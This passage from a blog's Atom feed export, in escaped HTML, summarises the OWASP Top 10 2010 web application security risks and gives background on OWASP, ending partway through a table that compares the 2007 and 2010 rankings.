flaws in 2010. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;1 –Injection&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;•Injection flaws,
such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an
interpreter as part of a command or query. The attacker’s hostile data can
trick the interpreter into executing unintended commands or accessing
unauthorized data.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;2 –Cross-Site
Scripting (XSS)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;•XSS flaws occur
whenever an application takes untrusted data and sends it to a web browser
without proper validation and escaping. XSS allows attackers to execute scripts
in the victim’s browser which can hijack user sessions, deface web sites, or
redirect the user to malicious sites.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;3 –Broken Authentication
and Session Management&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;•Application
functions related to authentication and session management are often not
implemented correctly, allowing attackers to compromise passwords, keys,
session tokens, or exploit other implementation flaws to assume other users’
identities.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;4 –Insecure
Direct Object References&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;•A direct object
reference occurs when a developer exposes a reference to an internal
implementation object, such as a file, directory, or database key. Without an
access control check or other protection, attackers can manipulate these
references to access unauthorized data.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9d50c5km2QpfC4LKRIEmoSu_LHFBHvPc9hEWolHT0-EES9uJLsVF2JgP-Cxm_6cc_rQpQrO6am9QSWKo5c5wOlNjmLgMqV_lQj_jK-PK8MqWie0qJf38mBaQaJrj88725KalKj9VYiog/s1600/download+%25281%2529.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;136&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9d50c5km2QpfC4LKRIEmoSu_LHFBHvPc9hEWolHT0-EES9uJLsVF2JgP-Cxm_6cc_rQpQrO6am9QSWKo5c5wOlNjmLgMqV_lQj_jK-PK8MqWie0qJf38mBaQaJrj88725KalKj9VYiog/s320/download+%25281%2529.jpg&quot; width=&quot;190&quot; /&gt;&lt;/a&gt;


&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;5 –Cross-Site
Request Forgery (CSRF)&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;•A CSRF attack
forces a logged-on victim’s browser to send a forged HTTP request, including
the victim’s session cookie and any other automatically included authentication
information, to a vulnerable web application. This allows the attacker to force
the victim’s browser to generate requests the vulnerable application thinks are
legitimate requests from the victim.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;6 –Security
Misconfiguration&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;•Good security
requires having a secure configuration defined and deployed for the
application, frameworks, application server, web server, database server, and
platform. All these settings should be defined, implemented, and maintained as
many are not shipped with secure defaults. This includes keeping all software
up to date, including all code libraries used by the application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;7 –Insecure
Cryptographic Storage&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;•Many web
applications do not properly protect sensitive data, such as credit cards,
SSNs, and authentication credentials, with appropriate encryption or hashing.
Attackers may steal or modify such weakly protected data to conduct identity
theft, credit card fraud, or other crimes.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;8 -Failure to
Restrict URL Access&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;•Many web
applications check URL access rights before rendering protected links and
buttons. However, applications need to perform similar access control checks
each time these pages are accessed, or attackers will be able to forge URLs to
access these hidden pages anyway.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;9 -Insufficient
Transport Layer Protection&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;•Applications
frequently fail to authenticate, encrypt, and protect the confidentiality and
integrity of sensitive network traffic. When they do, they sometimes support
weak algorithms, use expired or invalid certificates, or do not use them
correctly. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 11.5pt;&quot;&gt;10
–UnvalidatedRedirects and Forwards&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10.0pt;&quot;&gt;•Web applications
frequently redirect and forward users to other pages and websites, and use
untrusteddata to determine the destination pages. Without proper validation,
attackers can redirect victims to phishing or malware sites, or use forwards to
access unauthorized pages. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ashu-hackingforever.blogspot.com/feeds/257443103049758302/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/06/top-most-10-network-security-concern.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/257443103049758302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5044415288327726339/posts/default/257443103049758302'/><link rel='alternate' type='text/html' href='http://ashu-hackingforever.blogspot.com/2012/06/top-most-10-network-security-concern.html' title='Top most 10 Network security concern: '/><author><name>Ashutosh</name><uri>http://www.blogger.com/profile/18095646711760167030</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9d50c5km2QpfC4LKRIEmoSu_LHFBHvPc9hEWolHT0-EES9uJLsVF2JgP-Cxm_6cc_rQpQrO6am9QSWKo5c5wOlNjmLgMqV_lQj_jK-PK8MqWie0qJf38mBaQaJrj88725KalKj9VYiog/s72-c/download+%25281%2529.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5044415288327726339.post-7151758623627848337</id><published>2012-06-15T19:31:00.001-07:00</published><updated>2012-11-02T13:10:47.912-07:00</updated><title type='text'>About  OWASP.... (A Web security innovative)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;The Open Web
Application Security Project (OWASP) is an open community dedicated to enabling
organizations to develop, purchase, and maintain applications that can be
trusted. All of the OWASP tools,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot; style=&quot;text-indent: .5in;&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;Documents, forums, and chapters are free and open to anyone interested
in improving application security. We advocate approaching application security
as a people, process, and technology problem, because the most effective
approaches to application security require improvements in all of these areas.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;OWASP is a new kind
of organization. Our freedom from commercial pressures allows us to provide
unbiased, practical, cost-effective information about application security.
OWASP is not affiliated with any technology company, although we support the
informed use of commercial security technology. Similar to many open-source
software projects, OWASP produces many types of materials in a collaborative,
open way.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9kya4av1l747gr2qQeLvxhUPlMuMpx4qg8iIJxtmbdUku6WqvwWwHpk7AC3vtV9jZr8zCWO8YsHl8igThKrRWSIKYi_RrPD10IUgy8I5VuarHCNcJSQ76mhky6yUNLWnEUCJKpsqguPE/s1600/download.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;71&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9kya4av1l747gr2qQeLvxhUPlMuMpx4qg8iIJxtmbdUku6WqvwWwHpk7AC3vtV9jZr8zCWO8YsHl8igThKrRWSIKYi_RrPD10IUgy8I5VuarHCNcJSQ76mhky6yUNLWnEUCJKpsqguPE/s320/download.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;


&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;The OWASP Foundation
is the non-profit entity that ensures the project’s long-term success. Almost
everyone associated with OWASP is a volunteer, including the OWASP Board,
Global Committees, Chapter Leaders, Project Leaders, and project members. We
support innovative security research with grants and infrastructure.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;Default&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table border=&quot;1&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;MsoNormalTable&quot; style=&quot;border-collapse: collapse; border: none; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-layout-alt: fixed;&quot;&gt;
 &lt;tbody&gt;
&lt;tr style=&quot;height: 7.95pt; mso-yfti-firstrow: yes; mso-yfti-irow: 0;&quot;&gt;
  &lt;td style=&quot;border: solid windowtext 1.0pt; height: 7.95pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 16pt;&quot;&gt;OWASP Top 10
  –2007 (Previous)&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 16pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-left: none; border: solid windowtext 1.0pt; height: 7.95pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 16pt;&quot;&gt;OWASP Top 10
  –2010 (New)&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 16pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 1;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A2 –Injection
  Flaws&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A1 –Injection&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 2;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A1 –CrossSite
  Scripting (XSS)&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A2 –Cross-Site
  Scripting (XSS)&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 3;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A7 –Broken
  Authentication and Session Management&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A3 –Broken
  Authentication and Session Management&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 4;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A4 –Insecure
  Direct Object Reference&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A4 –Insecure
  Direct Object References&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 5;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A5 –Cross Site
  Request Forgery (CSRF)&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A5 –Cross-Site
  Request Forgery (CSRF)&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 6;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&amp;lt;was T10
  2004 A10 –Insecure Configuration Management&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A6 –Security
  Misconfiguration(NEW)&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 7;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A8 –Insecure Cryptographic
  Storage&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A7 –Insecure
  Cryptographic Storage&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 8;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A10 –Failure to
  Restrict URL Access&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A8 –Failure to
  Restrict URL Access&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
 &lt;/tr&gt;
&lt;tr style=&quot;height: 4.95pt; mso-yfti-irow: 9;&quot;&gt;
  &lt;td style=&quot;border-bottom: none; border-left: solid windowtext 1.0pt; border-right: solid windowtext 1.0pt; border-top: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
&lt;b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;A9
  –InsecureCommunications&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-IN&quot; style=&quot;font-size: 10pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
  &lt;td style=&quot;border-right: solid windowtext 1.0pt; border: none; height: 4.95pt; mso-border-left-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-right-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 246.85pt;&quot; valign=&quot;top&quot; width=&quot;329&quot;&gt;&lt;div class=&quot;Default&quot;&gt;
